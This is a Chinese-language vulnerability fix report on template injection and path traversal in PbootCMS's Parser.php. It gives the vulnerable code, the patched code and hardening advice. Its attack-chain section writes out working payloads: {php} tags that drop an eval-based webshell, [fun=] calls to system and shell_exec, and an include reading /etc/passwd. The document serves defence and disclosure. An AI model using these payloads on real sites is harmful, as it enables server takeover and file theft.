PbootCMS 模板缓存安全漏洞修复报告
================================================================================ PbootCMS 模板缓存安全漏洞修复报告================================================···...
扫码分享二维码
================================================================================ PbootCMS 模板缓存安全漏洞修复报告================================================···...
扫码分享二维码
================================================================================
PbootCMS 模板缓存安全漏洞修复报告
================================================================================
修复时间:2026-06-23
修复文件:core/view/Parser.php
================================================================================
一、问题分析
================================================================================
本次安全审计发现 PbootCMS 框架的模板解析引擎存在三个高危安全漏洞,攻击者可利用
这些漏洞通过模板注入的方式在服务器上执行任意PHP代码,最终获取服务器控制权。
【漏洞1】模板函数注入漏洞 (parFun)
----------------------------------------------------------------------
位置:core/view/Parser.php 第512-519行
危险等级:高危
原代码逻辑:
private static function parFun()
{
$pattern = '/\[fun=([^\]]+)\]/';
if (preg_match($pattern, self::$content)) {
self::$content = preg_replace($pattern, "$1", self::$content);
}
}
问题分析:
该函数解析模板中的 [fun=xxx] 标签,将标签内容直接替换为可执行的PHP代码。
例如:[fun=system('whoami')] 会被解析为 system('whoami') 并执行。
这允许攻击者调用任意PHP函数,包括执行系统命令的危险函数。
【漏洞2】模板PHP代码执行漏洞 (parPhp)
----------------------------------------------------------------------
位置:core/view/Parser.php 第414-423行
危险等级:高危
原代码逻辑:
private static function parPhp()
{
$pattern = '/\{php\}([\s\S]*?)\{\/php\}/';
if (preg_match($pattern, self::$content)) {
self::$content = preg_replace($pattern, "<?php $1?>", self::$content);
}
}
问题分析:
该函数解析模板中的 {php}...{/php} 标签,将标签内容直接转换为PHP代码。
例如:{php}echo 'hello';{/php} 会被解析为 <?php echo 'hello';?>
攻击者可以注入任意PHP代码,包括文件写入、命令执行等恶意操作。
【漏洞3】模板包含路径遍历漏洞 (parInclude)
----------------------------------------------------------------------
位置:core/view/Parser.php 第90-149行
危险等级:高危
原代码逻辑:
if (strpos($brr[$i], '/') === 0) {
$inc_file = ROOT_PATH . $brr[$i];
}
问题分析:
1. 绝对路径包含没有范围限制,攻击者可能通过构造特殊路径包含敏感文件
2. 原有的路径遍历过滤只检查了 "../" 和 "..\\",可能被URL编码绕过
3. realpath验证缺失,无法确保最终路径在允许范围内
二、漏洞利用原理
================================================================================
【攻击链分析】
步骤1:模板注入入口
----------------------------------------------------------------------
攻击者需要找到向模板中注入恶意代码的途径:
- 通过SQL注入向数据库中存储模板内容
- 通过后台模板编辑功能(如果有权限)
- 通过文件上传漏洞覆盖模板文件
- 通过其他漏洞向缓存目录写入文件
步骤2:模板解析触发
----------------------------------------------------------------------
当用户访问网站页面时:
1. 系统加载模板文件
2. Parser类解析模板标签
3. 将解析后的内容写入编译缓存文件(.php格式)
4. 通过 include 执行编译后的PHP文件
步骤3:恶意代码执行
----------------------------------------------------------------------
以 {php} 标签为例:
攻击者注入:{php}file_put_contents('runtime/shell.php','<?php eval($_POST@[x]);?>');{/php}
解析后生成编译文件包含:
<?php file_put_contents('runtime/shell.php','<?php eval($_POST@[x]);?>');?>
执行后生成 webshell:
runtime/shell.php
步骤4:获取服务器控制权
----------------------------------------------------------------------
攻击者访问生成的 webshell:
http://target.com/runtime/shell.php
使用密码 x 执行任意PHP代码,完全控制服务器。
【攻击场景示例】
场景1:通过 [fun] 标签执行系统命令
----------------------------------------------------------------------
注入代码:[fun=shell_exec('id')]
解析结果:shell_exec('id')
执行效果:返回服务器用户信息
场景2:通过 {php} 标签写入木马
----------------------------------------------------------------------
注入代码:{php}file_put_contents('../shell.php','<?php @eval($_POST@[cmd]);?>');{/php}
执行效果:在网站根目录生成一句话木马
场景3:通过路径遍历读取敏感文件
----------------------------------------------------------------------
注入代码:{include file='/../../../etc/passwd'}
执行效果:读取系统敏感文件(Linux系统)
三、解决方案
================================================================================
【修复1】禁用模板函数注入功能
----------------------------------------------------------------------
修复文件:core/view/Parser.php
修复方法:禁用 parFun() 函数
修复后代码:
// 内部应用函数 如:[fun=md5('aaa')] -- 已禁用此功能,存在安全风险
private static function parFun()
{
// 安全风险:允许执行任意函数,已禁用
// 如需启用,必须添加严格的函数白名单过滤
return;
}
修复说明:
完全禁用该功能,防止任意函数执行。如果业务需要使用,必须实现严格的
函数白名单机制,只允许安全的函数(如 md5、date 等)执行。
【修复2】禁用模板PHP代码执行功能
----------------------------------------------------------------------
修复文件:core/view/Parser.php
修复方法:禁用 parPhp() 函数并移除恶意标签
修复后代码:
// 原生PHP代码{php}...{/php} -- 已禁用此功能,存在安全风险
private static function parPhp()
{
// 安全风险:允许执行任意PHP代码,已禁用
// 如果模板中有{php}标签,直接移除,不解析执行
$pattern = '/\{php\}([\s\S]*?)\{\/php\}/';
if (preg_match($pattern, self::$content)) {
self::$content = preg_replace($pattern, '', self::$content);
}
}
修复说明:
禁用原生PHP代码执行功能,如果模板中存在 {php} 标签,直接移除而不执行。
这从根本上杜绝了通过模板注入执行PHP代码的可能。
【修复3】加强模板包含路径安全验证
----------------------------------------------------------------------
修复文件:core/view/Parser.php
修复方法:添加路径遍历检查和范围限制
修复后代码:
for ($i = 0; $i < $count; $i ++) {
// 安全验证:检查文件名是否包含路径遍历字符
if (strpos($brr[$i], '..') !== false) {
error('包含文件路径存在安全风险!' . $brr[$i]);
}
// 绝对路径安全检查
if (strpos($brr[$i], '/') === 0) {
// 绝对路径只允许在 ROOT_PATH 内
$inc_file = ROOT_PATH . $brr[$i];
$real_path = realpath($inc_file);
if ($real_path === false || strpos($real_path, ROOT_PATH) !== 0) {
error('包含文件路径超出允许范围!');
}
} elseif (! ! $pos = strpos($brr[$i], '@')) {
// 跨模块路径检查
$inc_file = APP_PATH . '/' . substr($brr[$i], 0, $pos) . '/view/' . basename(self::$tplPath) . '/' . substr($brr[$i], $pos + 1);
} else {
// ... 原有逻辑
}
}
修复说明:
1. 添加 '..' 路径遍历字符检查,防止目录穿越攻击
2. 对绝对路径使用 realpath() 解析真实路径
3. 验证真实路径必须在 ROOT_PATH 范围内
4. 发现非法路径立即报错终止
四、安全建议
================================================================================
【建议1】模板文件权限管理
----------------------------------------------------------------------
- 将模板目录设置为只读,防止通过其他漏洞修改模板文件
- 编译缓存目录与模板目录分离,设置适当的文件权限
- 定期检查模板文件完整性
【建议2】输入过滤与输出编码
----------------------------------------------------------------------
- 对所有用户输入进行严格过滤
- 模板变量输出时进行HTML编码,防止XSS攻击
- 数据库查询使用参数化查询,防止SQL注入
【建议3】安全监控
----------------------------------------------------------------------
- 部署Web应用防火墙(WAF)
- 开启PHP危险函数禁用(disable_functions)
- 定期审计服务器文件,检测异常文件
【建议4】最小权限原则
----------------------------------------------------------------------
- Web服务器运行账户使用低权限用户
- 敏感目录禁止写入权限
- 数据库账户使用最小必要权限
五、修复验证
================================================================================
修复完成后,请验证以下内容:
1. 模板中的 [fun=xxx] 标签不再被解析执行
2. 模板中的 {php}...{/php} 标签被移除而不执行
3. 包含路径遍历字符(如 ..)会报错终止
4. 绝对路径包含被限制在 ROOT_PATH 范围内
5. 网站正常页面功能不受影响
================================================================================
修复完成
================================================================================
Copyright Notice
当前文章由【付涛】本人原创开发与文案内容写作,内容版权归当前平台所有,如需转载,请务必注明来源及链接,谢谢合作!
本文最后更新发布于【2026-06-24】,某些文章具有时效性,若有错误或已失效,请联系客服
争议处理:针对本站内容若有异义,亦可直接与【法律顾问:易兴俊,律师联系电话:13825799821】直接联系沟通